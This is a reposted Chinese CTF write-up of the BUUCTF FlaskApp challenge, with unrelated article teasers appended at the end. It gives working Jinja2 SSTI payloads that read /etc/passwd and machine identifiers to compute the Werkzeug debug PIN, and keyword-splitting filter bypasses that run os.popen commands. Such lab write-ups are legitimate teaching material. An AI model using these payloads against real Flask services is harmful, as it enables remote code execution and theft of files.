buuctf_练[GYCTF2020]FlaskApp

[GYCTF2020]FlaskApp

文章目录

      • [GYCTF2020]FlaskApp
      • 常用绕过方法
      • 掌握知识
      • 解题思路
        • 解题一 -- 计算pin码
        • 解题二 -- 拼接绕过 执行命令
      • 关键paylaod

常用绕过方法

ssti详解与例题以及绕过payload大全_ssti绕过空格_HoAd’s blog的博客-CSDN博客

CTF 对SSTI的一些总结 - FreeBuf网络安全行业门户

掌握知识

sstipython debugPIN码计算,调用debug命令行执行命令。存在ssti注入就能进行命令执行,使用拼接操作绕过关键字过滤['o'+'s']。不同版本的python计算pin码的代码不同。python的模板注入可以通过for循环遍历子类特征名的方式,来寻找能够执行命令的子类模块

​ 其实计算pin码的题目不应该存在ssti模板注入,只需要有文件读取和文件包含漏洞就行,这样也就不会利用ssti模板注入进行任意代码执行了

解题思路

解题一 – 计算pin码
  1. 打开题目链接,根据题目内容明显是一个flask模板的ssti注入,查看一下hint界面,在源码中发现pin字样。前几天刚学完,在debug的环境下输入PIN码调用python的交互式shell

image-20231015144312917

image-20231015144310684

  1. 先来列举一下PIN码计算的六个关键参数吧,pin码计算一定需要有文件包含和文件读取的漏洞。ssti就可以调用内部命令进行文件读取
username:  运行该Flask程序的用户名  /etc/passwd文件内
modname:   模块名  flask.app
getattr(): app名,值为Flask
getattr(): Flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个需注意,Python3是 app.py,Python2中是app.pyc。  报错页面回显(访问报错界面 输入不能识别的参数)
str(uuid.getnode()):  MAC地址,读取这两个文件地址:/sys/class/net/eth0/address或者/sys/class/net/ens33/address
get_machine_id():  系统id  /etc/machine-id    或者docker环境id /proc/self/cgroup
  1. 了解了需要读取的文件目录,就要开始找能够执行文件读取函数的模块子类了。经过测试,在加密界面输入ssti注入paylaod,在将加密的内容解密就能触发执行结果。找到了ssti注入点,开始寻找要利用的模块子类了

image-20231015145042505

image-20231015145048241

  1. pythonssti注入可以利用for循环遍历子类,通过if判断想寻找的子类名是否存在,存在的话就执行后面代码,就是遍历子类名,寻找能够执行命令的子类,得到主机用户名为flaskweb
{% for x in {}.__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}{%endif%}
{%endfor%}

image-20231015150209878

  1. 通过输入不合规则的数据进行解密,成功导致页面报错,得到了Pythonapp.py的版本号和绝对路径,根据版本的不同需要执行不同的代码进行计算pin码。输入pin码的界面可以查看目录console,也可以在报错界面右面直接进入

image-20231015150342906

image-20231015150348867

image-20231015150616810

  1. 接下来继续使用遍历子类的方式来读取MAC地址和主机id /sys/class/net/eth0/address /etc/machine-id,换一种方式,使用遍历paylaod只需要把上面的文件名进行修改即可得到。下面换另外一个子类进行命令执行,只需要查询一下所有子类,将网页回显的内容粘贴到notepad上,将空格替换成\n换行,即可显示为每一行为一个子类,只需要全局搜索一下常见可以利用的子类看其行号即可确定所在的列表位置。
查看所有子类
{{().__class__.__bases__[0].__subclasses__()}}下面是利用_frozen_importlib._ModuleLock子类进行命令执行
获取主机用户名
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}获取MAC地址
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
5a:52:2f:5d:cc:5d   --->   99309028494429docker环境特有id
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}}
fc3dc388b7a8661f02eac8aefa9ffd2e6b5b7902b1369d6221cf4a51d8ff144a
  1. 得到了全部的pin码计算的条件之后,直接使用相应版本的pin码计算的脚本,输入相应参数执行即可拿下pin码,在相关界面输入pin码即可进去到Python的交互式界面,调用os模块进行命令执行,读取文件内容拿下flag

image-20231015151222445

image-20231015151227319

image-20231015151231160

解题二 – 拼接绕过 执行命令
  1. 既然存在ssti注入,还能执行文件读取函数,那肯定就能执行系统命令了,只不过是被过滤了罢了,只需要将被过滤的内容进行拼接即可绕过。使用burp抓包测试paylaod,发现过滤内容为importospopenflageval*?

  2. 直接进行遍历子类,寻找能够执行os模块系统命令的子类模块,子类还是寻找存在warning字段的子类,进行命令执行

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['pop'+'en'] ('cat /this_is_the_f'+'lag.txt').read() }}{%endif%}
{%endfor%}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').__dict__['po'+'pen'] ('ls /').read()}}

image-20231015153432488

image-20231015153553038

关键paylaod

遍历子类寻找能文件读取的子类  warnings.catch_warnings
{% for x in {}.__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}{%endif%}
{%endfor%}遍历子类,找到能命令执行的子类
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['pop'+'en'] ('cat /this_is_the_f'+'lag.txt').read() }}{%endif%}
{%endfor%}直接调用子类进行文件读取和命令执行  _frozen_importlib._ModuleLock
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['__imp'+'ort__']('o'+'s').__dict__['po'+'pen'] ('ls /').read()}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/123536.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spark UI中Shuffle dataSize 和shuffle bytes written 指标区别

背景 本文基于Spark 3.1.1 目前在做一些知识回顾的时候,发现了一些很有意思的事情,就是Spark UI中ShuffleExchangeExec 的dataSize和shuffle bytes written指标是不一样的, 那么在AQE阶段的时候,是以哪个指标来作为每个Task分区大…

了解单域名证书和通配符证书的区别,选择合适的SSL证书解决方案

随着互联网的不断发展,网站安全性问题一直备受关注,在保护网站数据安全的过程中,SSL证书一直发挥着至关重要的作用。而在选择SSL证书时,单域名证书和通配符证书是两种常见的选择。本文将详细介绍单域名证书和通配符证书的区别&…

Cocos Creator 中使用装饰器进行自动绑定

推荐一个偷懒的方式,使用装饰器自动绑定节点到脚本的属性 背景 用 Cocos Creator 写脚本组件的时候,有时需要场景中一个节点作为这个脚本的属性值。 按照官方文档推荐的方法,需要以下两步 添加一个 property 属性,在场景中拖入这个…

案例分析大汇总

案例分析心得 2018-2022年的案例分析考试内容汇总(近五年) 架构设计题型 软件系统建模 数据库 Web 系统设计 2018年 胖/瘦客户端 C/S 架构非功能性需求 数据流图DFDE-R图Essential Use Cases(抽象用例),Real Use Cases(基础用例)信息工…

双目视觉计算三维坐标

一、原理 双目视觉的基本原理,以及公式推导,我参考的b站上的视频,链接如下: 2-线性相机模型-Linear Camera Model-Camera Calibration_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1Q34y1n7ot/?p2&spm_id_from333.…

Android底层摸索改BUG(二):Android系统移除预置APP

首先我先提供以下博主博文,对相关知识点可以提供理解、解决、思考的 Android 系统如何预装第三方应用以及常见问题汇集android Android.mk属性说明及预置系统app操作说明系Android 中去除系统原生apk的方法 取消预置APK方法一: 其实就是上面的链接3&a…

03、SpringCloud -- 动态倒计时 及 当前用户的获取(用户未登录提示其登录)

目录 动态倒计时需求思路代码效果优化获取当前登录用户思路代码前端后端controllerservice接口impl实现效果问题修改动态倒计时 需求 根据不同时间展示不同状态,动态显示时间,如原型图: 思

Lua脚本语言

1. 概念 Lua(发音为"loo-ah",葡萄牙语中的"lua"意为月亮)是一种轻量级的、高效的、可嵌入的脚本编程语言。官网Lua最初由巴西计算机科学家Roberto Ierusalimschy、Waldemar Celes和Luiz Henrique de Figueiredo于1993年开…

【JVM】字节码文件的组成部分

🐌个人主页: 🐌 叶落闲庭 💨我的专栏:💨 c语言 数据结构 javaEE 操作系统 Redis 石可破也,而不可夺坚;丹可磨也,而不可夺赤。 JVM 一、字节码文件的组成部分1.1 iconst_0…

idea 提升效率的常用快捷键 汇总

点击File --> Settings --> keymap便可进入看到 IDEA 提供的快捷键。我们也可以搜索和自定义所有快捷键 下面13个事我常用的快捷键,后面还有全部,可以当做字典来查 1.当前文件下查找:CtrlF 当前文件下替换:CtrlR 2.当前…

前端的简单介绍

前端核心的分析 CSS语法不够强大,比如无法嵌套书写,倒是模块化开发中需要书写很多重复的选择器 没有变量和合理的样式复用机制,使逻辑上相关的属性值必须字面量的心事重复的输出,导致难以维护 CSS预处理器,减少代码的笨重&#…

前端 :用HTML和css制作一个小米官网的静态页面

1.HTML&#xff1a; <body><div id "content"><div id "box"><div id "top"><div id "top-left"><span id "logo">MI</span><span id "text-logo">小米账…

leetcode-二叉树

B树和B树的区别 B树&#xff0c;也即balance树&#xff0c;是一棵多路自平衡的搜索树。它类似普通的平衡二叉树&#xff0c;不同的一点是B树允许每个节点有更多的子节点。 B树内节点不存储数据&#xff0c;所有关键字都存储在叶子节点上。B树&#xff1a; B树&#xff1a; 二叉…

一、灵动mm32单片机_开发环境的搭建(Keil)

1、安装Keil MDK。 略。 2、安装芯片对应的Pack包。 (1)这里以MM32F0130单片机为例。 (2)进入灵动微电子官网。上海灵动微电子股份有限公司 (3)点击“支持”→“KEILPacl”。 (3)点击下载Pack包。 (4)下载后&#xff0c;解压下载的压缩包&#xff0c;找到对应的Pack包&…

【ARMv8 SIMD和浮点指令编程】NEON 通用数据处理指令——复制、反转、提取、转置...

NEON 通用数据处理指令包括以下指令(不限于): • DUP 将标量复制到向量的所有向量线。 • EXT 提取。 • REV16、REV32、REV64 反转向量中的元素。 • TBL、TBX 向量表查找。 • TRN 向量转置。 • UZP、ZIP 向量交叉存取和反向交叉存取。 1 DUP (element) 将…

改进YOLOv3!IA-YOLO:恶劣天气下的目标检测

恶劣天气条件下从低质量图像中定位目标还是极具挑战性的任务。现有的方法要么难以平衡图像增强和目标检测任务&#xff0c;要么往往忽略有利于检测的潜在信息。本文提出了一种新的图像自适应YOLO (IA-YOLO)框架&#xff0c;可以对每张图像进行自适应增强&#xff0c;以提高检测…

PHP如何批量修改二维数组中值

每个name值加pex&#xff0c;age加5&#xff0c; 原数据&#xff1a; $data[["name">a,age>12],["name">b,age>22],["name">c,age>33],["name">d,age>44], ];实现效果 方案一、foreach引用方式 $data[["…

iis前端代理后台tomcat

1)tomcat服务器配置运行好&#xff0c;服务地址位于 localhost:8080/wechat 2)iis 绑定了域名 api.abc.com 希望访问 api.abc.com/wechat时&#xff0c;实际由tomcat的服务处理; 3)iis上需要添加组件 requestRouter_amd64.msi rewrite_amd64_zh-CN.msi 4)iis进行相关配置…

Java集成腾讯云OCR身份证识别接口

一、背景 项目用到身份证识别获取人员信息的功能&#xff0c;于是想到了腾讯云提供这样的API。在整合代码过程都很顺利&#xff0c;利用腾讯云官方SDK很快集成进来。但是在上测试环境部署时有了新的问题&#xff0c;通过Nginx代理后的环境无法访问到目标腾讯云接口&#xff0c;…

腾讯云轻量应用服务器地域北京、上海和广州怎么选择比较好?

腾讯云轻量应用服务器地域是指轻量服务器数据中心所在的地理位置&#xff0c;如上海、广州和北京等地域&#xff0c;如何选择地域&#xff1f;腾讯云百科txybk.com建议地域选择遵循就近原则&#xff0c;用户距离轻量服务器地域越近&#xff0c;网络延迟越低&#xff0c;速度就越…